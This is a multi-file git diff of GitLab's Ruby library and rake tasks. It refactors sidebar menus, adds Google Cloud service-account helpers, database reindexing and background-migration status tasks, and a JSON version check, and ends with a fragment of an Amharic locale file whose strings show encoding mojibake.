index 4b37bb7e5ea..5113553c584 100644
--- a/lib/gitlab/utils/nokogiri.rb
+++ b/lib/gitlab/utils/nokogiri.rb
@@ -16,7 +16,7 @@ module Gitlab
# we remove the leading `//` and add `descendant-or-self::`
# in order to ensure we're searching from this node and all
# descendants.
- xpath.map { |t| "descendant-or-self::#{t[2..-1]}" }.join('|')
+ xpath.map { |t| "descendant-or-self::#{t[2..]}" }.join('|')
end
end
end
diff --git a/lib/gitlab/utils/strong_memoize.rb b/lib/gitlab/utils/strong_memoize.rb
index 483bfe12c68..255fa0169bf 100644
--- a/lib/gitlab/utils/strong_memoize.rb
+++ b/lib/gitlab/utils/strong_memoize.rb
@@ -1,7 +1,5 @@
# frozen_string_literal: true
-require_dependency 'gitlab/utils'
-
module Gitlab
module Utils
module StrongMemoize
diff --git a/lib/gitlab/utils/usage_data.rb b/lib/gitlab/utils/usage_data.rb
index 77f04929661..e347168f419 100644
--- a/lib/gitlab/utils/usage_data.rb
+++ b/lib/gitlab/utils/usage_data.rb
@@ -43,13 +43,8 @@ module Gitlab
HISTOGRAM_FALLBACK = { '-1' => -1 }.freeze
DISTRIBUTED_HLL_FALLBACK = -2
MAX_BUCKET_SIZE = 100
- INSTRUMENTATION_CLASS_FALLBACK = -100
def add_metric(metric, time_frame: 'none', options: {})
- # Results of this method should be overwritten by instrumentation class values
- # -100 indicates the metric was not properly merged.
- return INSTRUMENTATION_CLASS_FALLBACK if Feature.enabled?(:usage_data_instrumentation)
-
metric_class = "Gitlab::Usage::Metrics::Instrumentations::#{metric}".constantize
metric_class.new(time_frame: time_frame, options: options).value
@@ -61,7 +56,8 @@ module Gitlab
else
relation.count
end
- rescue ActiveRecord::StatementInvalid
+ rescue ActiveRecord::StatementInvalid => error
+ Gitlab::ErrorTracking.track_and_raise_for_dev_exception(error)
FALLBACK
end
@@ -71,7 +67,8 @@ module Gitlab
else
relation.distinct_count_by(column)
end
- rescue ActiveRecord::StatementInvalid
+ rescue ActiveRecord::StatementInvalid => error
+ Gitlab::ErrorTracking.track_and_raise_for_dev_exception(error)
FALLBACK
end
@@ -83,7 +80,8 @@ module Gitlab
yield buckets if block_given?
buckets.estimated_distinct_count
- rescue ActiveRecord::StatementInvalid
+ rescue ActiveRecord::StatementInvalid => error
+ Gitlab::ErrorTracking.track_and_raise_for_dev_exception(error)
FALLBACK
# catch all rescue should be removed as a part of feature flag rollout issue
# https://gitlab.com/gitlab-org/gitlab/-/issues/285485
@@ -94,7 +92,8 @@ module Gitlab
def sum(relation, column, batch_size: nil, start: nil, finish: nil)
Gitlab::Database::BatchCount.batch_sum(relation, column, batch_size: batch_size, start: start, finish: finish)
- rescue ActiveRecord::StatementInvalid
+ rescue ActiveRecord::StatementInvalid => error
+ Gitlab::ErrorTracking.track_and_raise_for_dev_exception(error)
FALLBACK
end
@@ -160,7 +159,8 @@ module Gitlab
query: query.to_sql,
message: e.message
)
-
+ # Raises error for dev env
+ Gitlab::ErrorTracking.track_and_raise_for_dev_exception(e)
HISTOGRAM_FALLBACK
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/lib/gitlab/x509/commit.rb b/lib/gitlab/x509/commit.rb
index 91951a3e505..c7f4b7cbdf5 100644
--- a/lib/gitlab/x509/commit.rb
+++ b/lib/gitlab/x509/commit.rb
@@ -25,7 +25,7 @@ module Gitlab
def lazy_signature
BatchLoader.for(@commit.sha).batch do |shas, loader|
- X509CommitSignature.by_commit_sha(shas).each do |signature|
+ CommitSignatures::X509CommitSignature.by_commit_sha(shas).each do |signature|
loader.call(signature.commit_sha, signature)
end
end
@@ -49,9 +49,9 @@ module Gitlab
def create_cached_signature!
return if attributes.nil?
- return X509CommitSignature.new(attributes) if Gitlab::Database.read_only?
+ return CommitSignatures::X509CommitSignature.new(attributes) if Gitlab::Database.read_only?
- X509CommitSignature.safe_create!(attributes)
+ CommitSignatures::X509CommitSignature.safe_create!(attributes)
end
end
end
diff --git a/lib/google_api/cloud_platform/client.rb b/lib/google_api/cloud_platform/client.rb
index c917debd3d9..9bd2309d2b7 100644
--- a/lib/google_api/cloud_platform/client.rb
+++ b/lib/google_api/cloud_platform/client.rb
@@ -1,10 +1,12 @@
# frozen_string_literal: true
+require 'securerandom'
require 'google/apis/compute_v1'
require 'google/apis/container_v1'
require 'google/apis/container_v1beta1'
require 'google/apis/cloudbilling_v1'
require 'google/apis/cloudresourcemanager_v1'
+require 'google/apis/iam_v1'
module GoogleApi
module CloudPlatform
@@ -83,6 +85,51 @@ module GoogleApi
m[1] if m
end
+ def list_projects
+ result = []
+
+ service = Google::Apis::CloudresourcemanagerV1::CloudResourceManagerService.new
+ service.authorization = access_token
+
+ response = service.fetch_all(items: :projects) do |token|
+ service.list_projects
+ end
+
+ # Google API results are paged by default, so we need to iterate through
+ response.each do |project|
+ result.append(project)
+ end
+
+ result
+ end
+
+ def create_service_account(gcp_project_id, display_name, description)
+ name = "projects/#{gcp_project_id}"
+
+ # initialize google iam service
+ service = Google::Apis::IamV1::IamService.new
+ service.authorization = access_token
+
+ # generate account id
+ random_account_id = "gitlab-" + SecureRandom.hex(11)
+
+ body_params = { account_id: random_account_id,
+ service_account: { display_name: display_name,
+ description: description } }
+
+ request_body = Google::Apis::IamV1::CreateServiceAccountRequest.new(**body_params)
+ service.create_service_account(name, request_body)
+ end
+
+ def create_service_account_key(gcp_project_id, service_account_id)
+ service = Google::Apis::IamV1::IamService.new
+ service.authorization = access_token
+
+ name = "projects/#{gcp_project_id}/serviceAccounts/#{service_account_id}"
+ request_body = Google::Apis::IamV1::CreateServiceAccountKeyRequest.new
+ service.create_service_account_key(name, request_body)
+ end
+
private
def make_cluster_options(cluster_name, cluster_size, machine_type, legacy_abac, enable_addons)
diff --git a/lib/safe_zip/extract.rb b/lib/safe_zip/extract.rb
index ac33f0b3c2c..74df7895afe 100644
--- a/lib/safe_zip/extract.rb
+++ b/lib/safe_zip/extract.rb
@@ -25,7 +25,7 @@ module SafeZip
private
def extract_with_ruby_zip(params)
- ::Zip::File.open(archive_path) do |zip_archive|
+ ::Zip::File.open(archive_path) do |zip_archive| # rubocop:disable Performance/Rubyzip
# Extract all files in the following order:
# 1. Directories first,
# 2. Files next,
diff --git a/lib/sidebars/concerns/container_with_html_options.rb b/lib/sidebars/concerns/container_with_html_options.rb
index 79dddd309b5..796b7cbe275 100644
--- a/lib/sidebars/concerns/container_with_html_options.rb
+++ b/lib/sidebars/concerns/container_with_html_options.rb
@@ -3,6 +3,8 @@
module Sidebars
module Concerns
module ContainerWithHtmlOptions
+ include LinkWithHtmlOptions
+
# The attributes returned from this method
# will be applied to helper methods like
# `link_to` or the div containing the container.
diff --git a/lib/sidebars/concerns/link_with_html_options.rb b/lib/sidebars/concerns/link_with_html_options.rb
new file mode 100644
index 00000000000..4ca748e0a71
--- /dev/null
+++ b/lib/sidebars/concerns/link_with_html_options.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+module Sidebars
+ module Concerns
+ module LinkWithHtmlOptions
+ # add on specific items as the pertain to `link_to` objects specifically
+ def link_html_options
+ container_html_options.tap do |html_options|
+ html_options[:class] = [*html_options[:class], 'gl-link'].join(' ')
+ end
+ end
+ end
+ end
+end
diff --git a/lib/sidebars/concerns/positionable_list.rb b/lib/sidebars/concerns/positionable_list.rb
index 0bbe1d918e5..459af466690 100644
--- a/lib/sidebars/concerns/positionable_list.rb
+++ b/lib/sidebars/concerns/positionable_list.rb
@@ -44,6 +44,14 @@ module Sidebars
list[index] = new_element
end
+ def remove_element(list, element_to_remove)
+ index = index_of(list, element_to_remove)
+
+ return unless index
+
+ list.slice!(index)
+ end
+
private
# Classes including this method will have to define
diff --git a/lib/sidebars/groups/menus/customer_relations_menu.rb b/lib/sidebars/groups/menus/customer_relations_menu.rb
index fdbbd662ad6..002197965d1 100644
--- a/lib/sidebars/groups/menus/customer_relations_menu.rb
+++ b/lib/sidebars/groups/menus/customer_relations_menu.rb
@@ -32,7 +32,7 @@ module Sidebars
def contacts_menu_item
::Sidebars::MenuItem.new(
title: _('Contacts'),
- link: contacts_group_crm_index_path(context.group),
+ link: group_crm_contacts_path(context.group),
active_routes: { path: 'groups/crm#contacts' },
item_id: :crm_contacts
)
@@ -41,7 +41,7 @@ module Sidebars
def organizations_menu_item
::Sidebars::MenuItem.new(
title: _('Organizations'),
- link: organizations_group_crm_index_path(context.group),
+ link: group_crm_organizations_path(context.group),
active_routes: { path: 'groups/crm#organizations' },
item_id: :crm_organizations
)
diff --git a/lib/sidebars/groups/menus/packages_registries_menu.rb b/lib/sidebars/groups/menus/packages_registries_menu.rb
index 46fcec9f7b8..60d91c8fd10 100644
--- a/lib/sidebars/groups/menus/packages_registries_menu.rb
+++ b/lib/sidebars/groups/menus/packages_registries_menu.rb
@@ -26,9 +26,7 @@ module Sidebars
private
def packages_registry_menu_item
- unless context.group.packages_feature_enabled?
- return ::Sidebars::NilMenuItem.new(item_id: :packages_registry)
- end
+ return nil_menu_item(:packages_registry) unless context.group.packages_feature_enabled?
::Sidebars::MenuItem.new(
title: _('Package Registry'),
@@ -40,7 +38,7 @@ module Sidebars
def container_registry_menu_item
if !::Gitlab.config.registry.enabled || !can?(context.current_user, :read_container_image, context.group)
- return ::Sidebars::NilMenuItem.new(item_id: :container_registry)
+ return nil_menu_item(:container_registry)
end
::Sidebars::MenuItem.new(
@@ -52,9 +50,11 @@ module Sidebars
end
def dependency_proxy_menu_item
- unless can?(context.current_user, :read_dependency_proxy, context.group)
- return ::Sidebars::NilMenuItem.new(item_id: :dependency_proxy)
- end
+ setting_does_not_exist_or_is_enabled = !context.group.dependency_proxy_setting ||
+ context.group.dependency_proxy_setting.enabled
+
+ return nil_menu_item(:dependency_proxy) unless can?(context.current_user, :read_dependency_proxy, context.group)
+ return nil_menu_item(:dependency_proxy) unless setting_does_not_exist_or_is_enabled
::Sidebars::MenuItem.new(
title: _('Dependency Proxy'),
@@ -63,6 +63,10 @@ module Sidebars
item_id: :dependency_proxy
)
end
+
+ def nil_menu_item(item_id)
+ ::Sidebars::NilMenuItem.new(item_id: item_id)
+ end
end
end
end
diff --git a/lib/sidebars/menu_item.rb b/lib/sidebars/menu_item.rb
index 1375f9fffca..7ed3e47ae34 100644
--- a/lib/sidebars/menu_item.rb
+++ b/lib/sidebars/menu_item.rb
@@ -2,6 +2,8 @@
module Sidebars
class MenuItem
+ include ::Sidebars::Concerns::LinkWithHtmlOptions
+
attr_reader :title, :link, :active_routes, :item_id, :container_html_options, :sprite_icon, :sprite_icon_html_options, :hint_html_options
def initialize(title:, link:, active_routes:, item_id: nil, container_html_options: {}, sprite_icon: nil, sprite_icon_html_options: {}, hint_html_options: {})
diff --git a/lib/sidebars/panel.rb b/lib/sidebars/panel.rb
index e8c02a2d707..2a172cfffe3 100644
--- a/lib/sidebars/panel.rb
+++ b/lib/sidebars/panel.rb
@@ -37,6 +37,10 @@ module Sidebars
replace_element(@menus, menu_to_replace, new_menu)
end
+ def remove_menu(menu_to_remove)
+ remove_element(@menus, menu_to_remove)
+ end
+
def set_scope_menu(scope_menu)
@scope_menu = scope_menu
end
diff --git a/lib/sidebars/projects/menus/analytics_menu.rb b/lib/sidebars/projects/menus/analytics_menu.rb
index 2a89dc66219..b9bcc3267d6 100644
--- a/lib/sidebars/projects/menus/analytics_menu.rb
+++ b/lib/sidebars/projects/menus/analytics_menu.rb
@@ -10,9 +10,9 @@ module Sidebars
def configure_menu_items
return false unless can?(context.current_user, :read_analytics, context.project)
+ add_item(cycle_analytics_menu_item)
add_item(ci_cd_analytics_menu_item)
add_item(repository_analytics_menu_item)
- add_item(cycle_analytics_menu_item)
true
end
diff --git a/lib/sidebars/projects/menus/infrastructure_menu.rb b/lib/sidebars/projects/menus/infrastructure_menu.rb
index ccc4787601a..1018bdd545b 100644
--- a/lib/sidebars/projects/menus/infrastructure_menu.rb
+++ b/lib/sidebars/projects/menus/infrastructure_menu.rb
@@ -57,9 +57,9 @@ module Sidebars
data: { trigger: 'manual',
container: 'body',
placement: 'right',
- highlight: UserCalloutsHelper::GKE_CLUSTER_INTEGRATION,
- highlight_priority: UserCallout.feature_names[:GKE_CLUSTER_INTEGRATION],
- dismiss_endpoint: user_callouts_path,
+ highlight: Users::CalloutsHelper::GKE_CLUSTER_INTEGRATION,
+ highlight_priority: Users::Callout.feature_names[:GKE_CLUSTER_INTEGRATION],
+ dismiss_endpoint: callouts_path,
auto_devops_help_path: help_page_path('topics/autodevops/index.md') } }
end
@@ -90,7 +90,7 @@ module Sidebars
end
def google_cloud_menu_item
- feature_is_enabled = Feature.enabled?(:incubation_5mp_google_cloud)
+ feature_is_enabled = Feature.enabled?(:incubation_5mp_google_cloud, context.project)
user_has_permissions = can?(context.current_user, :admin_project_google_cloud, context.project)
unless feature_is_enabled && user_has_permissions
@@ -100,7 +100,7 @@ module Sidebars
::Sidebars::MenuItem.new(
title: _('Google Cloud'),
link: project_google_cloud_index_path(context.project),
- active_routes: { controller: :google_cloud },
+ active_routes: { controller: [:google_cloud, :service_accounts] },
item_id: :google_cloud
)
end
diff --git a/lib/sidebars/projects/menus/shimo_menu.rb b/lib/sidebars/projects/menus/shimo_menu.rb
new file mode 100644
index 00000000000..c93c4f6a0a4
--- /dev/null
+++ b/lib/sidebars/projects/menus/shimo_menu.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+module Sidebars
+ module Projects
+ module Menus
+ class ShimoMenu < ::Sidebars::Menu
+ override :link
+ def link
+ project_integrations_shimo_path(context.project)
+ end
+
+ override :title
+ def title
+ s_('Shimo|Shimo')
+ end
+
+ override :image_path
+ def image_path
+ 'logos/shimo.svg'
+ end
+
+ override :image_html_options
+ def image_html_options
+ {
+ size: 16
+ }
+ end
+
+ override :render?
+ def render?
+ context.project.has_shimo?
+ end
+
+ override :active_routes
+ def active_routes
+ { controller: :shimo }
+ end
+ end
+ end
+ end
+end
diff --git a/lib/sidebars/projects/panel.rb b/lib/sidebars/projects/panel.rb
index 8fbd71c1543..6bb4fb52e2a 100644
--- a/lib/sidebars/projects/panel.rb
+++ b/lib/sidebars/projects/panel.rb
@@ -32,8 +32,7 @@ module Sidebars
add_menu(Sidebars::Projects::Menus::InfrastructureMenu.new(context))
add_menu(Sidebars::Projects::Menus::PackagesRegistriesMenu.new(context))
add_menu(Sidebars::Projects::Menus::AnalyticsMenu.new(context))
- add_menu(confluence_or_wiki_menu)
- add_menu(Sidebars::Projects::Menus::ExternalWikiMenu.new(context))
+ add_wiki_menus
add_menu(Sidebars::Projects::Menus::SnippetsMenu.new(context))
add_menu(Sidebars::Projects::Menus::SettingsMenu.new(context))
add_invite_members_menu
@@ -46,10 +45,16 @@ module Sidebars
end
end
- def confluence_or_wiki_menu
- confluence_menu = ::Sidebars::Projects::Menus::ConfluenceMenu.new(context)
+ def add_wiki_menus
+ add_menu((third_party_wiki_menu || Sidebars::Projects::Menus::WikiMenu).new(context))
+ add_menu(Sidebars::Projects::Menus::ExternalWikiMenu.new(context))
+ end
+
+ def third_party_wiki_menu
+ wiki_menu_list = [::Sidebars::Projects::Menus::ConfluenceMenu]
+ wiki_menu_list << ::Sidebars::Projects::Menus::ShimoMenu if Feature.enabled?(:shimo_integration, context.project)
- confluence_menu.render? ? confluence_menu : Sidebars::Projects::Menus::WikiMenu.new(context)
+ wiki_menu_list.find { |wiki_menu| wiki_menu.new(context).render? }
end
end
end
diff --git a/lib/tasks/gettext.rake b/lib/tasks/gettext.rake
index e03c78d5a40..17f9414ad52 100644
--- a/lib/tasks/gettext.rake
+++ b/lib/tasks/gettext.rake
@@ -58,6 +58,7 @@ namespace :gettext do
task lint: :environment do
require 'simple_po_parser'
require 'gitlab/utils'
+ require 'parallel'
FastGettext.silence_errors
files = Dir.glob(Rails.root.join('locale/*/gitlab.po'))
@@ -70,7 +71,9 @@ namespace :gettext do
linters.unshift(Gitlab::I18n::PoLinter.new(po_path: pot_file_path))
- failed_linters = linters.select { |linter| linter.errors.any? }
+ failed_linters = Parallel
+ .map(linters, progress: 'Linting po files') { |linter| linter if linter.errors.any? }
+ .compact
if failed_linters.empty?
puts 'All PO files are valid.'
@@ -129,14 +132,6 @@ namespace :gettext do
)
end
- # Disallow HTML from translatable strings
- # See: https://docs.gitlab.com/ee/development/i18n/externalization.html#html
- def html_todolist
- return @html_todolist if defined?(@html_todolist)
-
- @html_todolist = YAML.safe_load(File.read(Rails.root.join('lib/gitlab/i18n/html_todo.yml')))
- end
-
def report_errors_for_file(file, errors_for_file)
puts "Errors in `#{file}`:"
diff --git a/lib/tasks/gitlab/background_migrations.rake b/lib/tasks/gitlab/background_migrations.rake
index c978a2807ca..c7f3d003f9f 100644
--- a/lib/tasks/gitlab/background_migrations.rake
+++ b/lib/tasks/gitlab/background_migrations.rake
@@ -2,6 +2,7 @@
namespace :gitlab do
namespace :background_migrations do
+ desc 'Synchronously finish executing a batched background migration'
task :finalize, [:job_class_name, :table_name, :column_name, :job_arguments] => :environment do |_, args|
[:job_class_name, :table_name, :column_name, :job_arguments].each do |argument|
unless args[argument]
@@ -19,5 +20,23 @@ namespace :gitlab do
puts "Done.".color(:green)
end
+
+ desc 'Display the status of batched background migrations'
+ task status: :environment do
+ statuses = Gitlab::Database::BackgroundMigration::BatchedMigration.statuses
+ max_status_length = statuses.keys.map(&:length).max
+ format_string = "%-#{max_status_length}s | %s\n"
+
+ Gitlab::Database::BackgroundMigration::BatchedMigration.find_each(batch_size: 100) do |migration|
+ identification_fields = [
+ migration.job_class_name,
+ migration.table_name,
+ migration.column_name,
+ migration.job_arguments.to_json
+ ].join(',')
+
+ printf(format_string, migration.status, identification_fields)
+ end
+ end
end
end
diff --git a/lib/tasks/gitlab/cleanup.rake b/lib/tasks/gitlab/cleanup.rake
index 0cd4ab354c9..8f033a41e3d 100644
--- a/lib/tasks/gitlab/cleanup.rake
+++ b/lib/tasks/gitlab/cleanup.rake
@@ -100,13 +100,15 @@ namespace :gitlab do
namespace :sessions do
desc "GitLab | Cleanup | Sessions | Clean ActiveSession lookup keys"
task active_sessions_lookup_keys: :gitlab_environment do
- session_key_pattern = "#{Gitlab::Redis::SharedState::USER_SESSIONS_LOOKUP_NAMESPACE}:*"
+ use_redis_session_store = Gitlab::Utils.to_boolean(ENV['GITLAB_USE_REDIS_SESSIONS_STORE'], default: true)
+ redis_store_class = use_redis_session_store ? Gitlab::Redis::Sessions : Gitlab::Redis::SharedState
+ session_key_pattern = "#{Gitlab::Redis::Sessions::USER_SESSIONS_LOOKUP_NAMESPACE}:*"
last_save_check = Time.at(0)
wait_time = 10.seconds
cursor = 0
total_users_scanned = 0
- Gitlab::Redis::SharedState.with do |redis|
+ redis_store_class.with do |redis|
begin
cursor, keys = redis.scan(cursor, match: session_key_pattern)
total_users_scanned += keys.count
@@ -119,27 +121,16 @@ namespace :gitlab do
last_save_check = Time.now
end
+ user = Struct.new(:id)
+
keys.each do |key|
user_id = key.split(':').last
- lookup_key_count = redis.scard(key)
-
- session_ids = ActiveSession.session_ids_for_user(user_id)
- entries = ActiveSession.raw_active_session_entries(redis, session_ids, user_id)
- session_ids_and_entries = session_ids.zip(entries)
-
- inactive_session_ids = session_ids_and_entries.map do |session_id, session|
- session_id if session.nil?
- end.compact
-
- redis.pipelined do |conn|
- inactive_session_ids.each do |session_id|
- conn.srem(key, session_id)
- end
- end
+ removed = []
+ active = ActiveSession.cleaned_up_lookup_entries(redis, user.new(user_id), removed)
- if inactive_session_ids
- puts "deleted #{inactive_session_ids.count} out of #{lookup_key_count} lookup keys for User ##{user_id}"
+ if removed.any?
+ puts "deleted #{removed.count} out of #{active.count + removed.count} lookup keys for User ##{user_id}"
end
end
end while cursor.to_i != 0
diff --git a/lib/tasks/gitlab/db.rake b/lib/tasks/gitlab/db.rake
index e83c4cbdb39..9e733fc3a0f 100644
--- a/lib/tasks/gitlab/db.rake
+++ b/lib/tasks/gitlab/db.rake
@@ -1,5 +1,7 @@
# frozen_string_literal: true
+databases = ActiveRecord::Tasks::DatabaseTasks.setup_initial_database_yaml
+
namespace :gitlab do
namespace :db do
desc 'GitLab | DB | Manually insert schema migration version'
@@ -49,7 +51,7 @@ namespace :gitlab do
# Drop all extra schema objects GitLab owns
Gitlab::Database::EXTRA_SCHEMAS.each do |schema|
- connection.execute("DROP SCHEMA IF EXISTS #{connection.quote_table_name(schema)}")
+ connection.execute("DROP SCHEMA IF EXISTS #{connection.quote_table_name(schema)} CASCADE")
end
end
@@ -83,7 +85,7 @@ namespace :gitlab do
desc 'GitLab | DB | Sets up EE specific database functionality'
if Gitlab.ee?
- task setup_ee: %w[geo:db:drop geo:db:create geo:db:schema:load geo:db:migrate]
+ task setup_ee: %w[db:drop:geo db:create:geo db:schema:load:geo db:migrate:geo]
else
task :setup_ee
end
@@ -116,6 +118,19 @@ namespace :gitlab do
Rake::Task['gitlab:db:clean_structure_sql'].invoke
end
+ ActiveRecord::Tasks::DatabaseTasks.for_each(databases) do |name|
+ # Inform Rake that custom tasks should be run every time rake db:structure:dump is run
+ #
+ # Rails 6.1 deprecates db:structure:dump in favor of db:schema:dump
+ Rake::Task["db:structure:dump:#{name}"].enhance do
+ Rake::Task['gitlab:db:clean_structure_sql'].invoke
+ end
+
+ Rake::Task["db:schema:dump:#{name}"].enhance do
+ Rake::Task['gitlab:db:clean_structure_sql'].invoke
+ end
+ end
+
desc 'Create missing dynamic database partitions'
task create_dynamic_partitions: :environment do
Gitlab::Database::Partitioning.sync_partitions
@@ -160,24 +175,30 @@ namespace :gitlab do
Rake::Task['gitlab:db:create_dynamic_partitions'].invoke
end
- desc 'execute reindexing without downtime to eliminate bloat'
+ desc "Reindex database without downtime to eliminate bloat"
task reindex: :environment do
- unless Feature.enabled?(:database_reindexing, type: :ops, default_enabled: :yaml)
+ unless Gitlab::Database::Reindexing.enabled?
puts "This feature (database_reindexing) is currently disabled.".color(:yellow)
exit
end
- Gitlab::Database::EachDatabase.each_database_connection do |connection, connection_name|
- Gitlab::Database::SharedModel.logger = Logger.new($stdout) if Gitlab::Utils.to_boolean(ENV['LOG_QUERIES_TO_CONSOLE'], default: false)
+ Gitlab::Database::Reindexing.invoke
+ end
+
+ namespace :reindex do
+ databases = ActiveRecord::Tasks::DatabaseTasks.setup_initial_database_yaml
- # Hack: Before we do actual reindexing work, create async indexes
- Gitlab::Database::AsyncIndexes.create_pending_indexes! if Feature.enabled?(:database_async_index_creation, type: :ops)
+ ActiveRecord::Tasks::DatabaseTasks.for_each(databases) do |database_name|
+ desc "Reindex #{database_name} database without downtime to eliminate bloat"
+ task database_name => :environment do
+ unless Gitlab::Database::Reindexing.enabled?
+ puts "This feature (database_reindexing) is currently disabled.".color(:yellow)
+ exit
+ end
- Gitlab::Database::Reindexing.automatic_reindexing
+ Gitlab::Database::Reindexing.invoke(database_name)
+ end
end
- rescue StandardError => e
- Gitlab::AppLogger.error(e)
- raise
end
desc 'Enqueue an index for reindexing'
@@ -243,7 +264,9 @@ namespace :gitlab do
# Only for development environments,
# we execute pending data migrations inline for convenience.
Rake::Task['db:migrate'].enhance do
- Rake::Task['gitlab:db:execute_batched_migrations'].invoke if Rails.env.development?
+ if Rails.env.development? && Gitlab::Database::BackgroundMigration::BatchedMigration.table_exists?
+ Rake::Task['gitlab:db:execute_batched_migrations'].invoke
+ end
end
end
end
diff --git a/lib/tasks/gitlab/gitaly.rake b/lib/tasks/gitlab/gitaly.rake
index eabbb8652f1..b01a7902bf2 100644
--- a/lib/tasks/gitlab/gitaly.rake
+++ b/lib/tasks/gitlab/gitaly.rake
@@ -37,8 +37,8 @@ namespace :gitlab do
raise
end
- desc 'GitLab | Gitaly | Install or upgrade gitaly'
- task :install, [:dir, :storage_path, :repo] => :gitlab_environment do |t, args|
+ desc 'GitLab | Gitaly | Clone and checkout gitaly'
+ task :clone, [:dir, :storage_path, :repo] => :gitlab_environment do |t, args|
warn_user_is_not_gitlab
unless args.dir.present? && args.storage_path.present?
@@ -51,6 +51,11 @@ Usage: rake "gitlab:gitaly:install[/installation/dir,/storage/path]")
version = Gitlab::GitalyClient.expected_server_version
checkout_or_clone_version(version: version, repo: args.repo, target_dir: args.dir, clone_opts: %w[--depth 1])
+ end
+
+ desc 'GitLab | Gitaly | Install or upgrade gitaly'
+ task :install, [:dir, :storage_path, :repo] => [:gitlab_environment, 'gitlab:gitaly:clone'] do |t, args|
+ warn_user_is_not_gitlab
storage_paths = { 'default' => args.storage_path }
Gitlab::SetupHelper::Gitaly.create_configuration(args.dir, storage_paths)
diff --git a/lib/tasks/gitlab/seed/group_seed.rake b/lib/tasks/gitlab/seed/group_seed.rake
index bc705c94422..a9a350fb6c3 100644
--- a/lib/tasks/gitlab/seed/group_seed.rake
+++ b/lib/tasks/gitlab/seed/group_seed.rake
@@ -184,7 +184,7 @@ class GroupSeeder
group = Group.find(group_id)
@resource_count.times do |i|
- _, project_path = PROJECT_URL.split('/')[-2..-1]
+ _, project_path = PROJECT_URL.split('/')[-2..]
project_path.gsub!('.git', '')
diff --git a/lib/tasks/gitlab/sidekiq.rake b/lib/tasks/gitlab/sidekiq.rake
index 2e383065b64..10492e183c5 100644
--- a/lib/tasks/gitlab/sidekiq.rake
+++ b/lib/tasks/gitlab/sidekiq.rake
@@ -100,6 +100,10 @@ namespace :gitlab do
queues_and_weights = Gitlab::SidekiqConfig.queues_for_sidekiq_queues_yml
write_yaml(Gitlab::SidekiqConfig::SIDEKIQ_QUEUES_PATH, banner, queues: queues_and_weights)
+
+ if Gitlab.jh?
+ write_yaml(Gitlab::SidekiqConfig::JH_SIDEKIQ_QUEUES_PATH, banner, queues: Gitlab::SidekiqConfig.jh_queues_for_sidekiq_queues_yml)
+ end
end
desc 'GitLab | Sidekiq | Validate that sidekiq_queues.yml matches worker definitions'
@@ -113,6 +117,7 @@ namespace :gitlab do
Then commit and push the changes from:
- #{Gitlab::SidekiqConfig::SIDEKIQ_QUEUES_PATH}
+ #{"- " + Gitlab::SidekiqConfig::JH_SIDEKIQ_QUEUES_PATH if Gitlab.jh?}
MSG
end
diff --git a/lib/tasks/gitlab/update_templates.rake b/lib/tasks/gitlab/update_templates.rake
index e3a4e7f50b8..247897bed0b 100644
--- a/lib/tasks/gitlab/update_templates.rake
+++ b/lib/tasks/gitlab/update_templates.rake
@@ -32,7 +32,7 @@ namespace :gitlab do
tmp_namespace_path = "tmp-project-import-#{Time.now.to_i}"
puts "Creating temporary namespace #{tmp_namespace_path}"
- tmp_namespace = Namespace.create!(owner: admin, name: tmp_namespace_path, path: tmp_namespace_path)
+ tmp_namespace = Namespace.create!(owner: admin, name: tmp_namespace_path, path: tmp_namespace_path, type: Namespaces::UserNamespace.sti_name)
templates = if template_names.empty?
Gitlab::ProjectTemplate.all
diff --git a/lib/tasks/gitlab/x509/update.rake b/lib/tasks/gitlab/x509/update.rake
index d3c63fa8514..7b7d15479bf 100644
--- a/lib/tasks/gitlab/x509/update.rake
+++ b/lib/tasks/gitlab/x509/update.rake
@@ -12,14 +12,14 @@ namespace :gitlab do
def update_certificates
logger = Logger.new($stdout)
- unless X509CommitSignature.exists?
+ unless CommitSignatures::X509CommitSignature.exists?
logger.info("Unable to find any x509 commit signatures. Exiting.")
return
end
logger.info("Start to update x509 commit signatures")
- X509CommitSignature.find_each do |sig|
+ CommitSignatures::X509CommitSignature.find_each do |sig|
sig.x509_commit&.update_signature!(sig)
end
diff --git a/lib/version_check.rb b/lib/version_check.rb
index a8b7c7371ca..e5a4c244c7a 100644
--- a/lib/version_check.rb
+++ b/lib/version_check.rb
@@ -2,22 +2,60 @@
require "base64"
-# This class is used to build image URL to
-# check if it is a new version for update
class VersionCheck
+ include ReactiveCaching
+
+ self.reactive_cache_work_type = :external_dependency
+ self.reactive_cache_worker_finder = ->(_id, *args) { from_cache }
+
def self.data
{ version: Gitlab::VERSION }
end
- def self.url
+ def self.headers
+ { "REFERER": Gitlab.config.gitlab.url }
+ end
+
+ # This is temporary and will be removed when the new UI is hooked up
+ # to the version_check.json endpoint.
+ def self.image_url
encoded_data = Base64.urlsafe_encode64(data.to_json)
"#{host}/check.svg?gitlab_info=#{encoded_data}"
end
+ def self.url
+ encoded_data = Base64.urlsafe_encode64(data.to_json)
+
+ "#{host}/check.json?gitlab_info=#{encoded_data}"
+ end
+
def self.host
'https://version.gitlab.com'
end
+
+ def self.from_cache(*)
+ new
+ end
+
+ def id
+ Gitlab::VERSION
+ end
+
+ def calculate_reactive_cache(*)
+ response = Gitlab::HTTP.try_get(self.class.url, headers: self.class.headers)
+
+ case response&.code
+ when 200
+ response.body
+ end
+ end
+
+ def response
+ with_reactive_cache do |data|
+ Gitlab::Json.parse(data) if data
+ end
+ end
end
VersionCheck.prepend_mod
diff --git a/locale/am_ET/gitlab.po b/locale/am_ET/gitlab.po
index 402d584f1c9..5018225aa3a 100644
--- a/locale/am_ET/gitlab.po
+++ b/locale/am_ET/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: am\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:41\n"
+"PO-Revision-Date: 2021-12-06 18:59\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr "\"%{path}\" በ\"%{ref}\" ላይ አáˆá‰°áŒˆáŠ˜áˆ"
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] "%d የተስተካከለ የáተሻ á‹áŒ¤á‰µ"
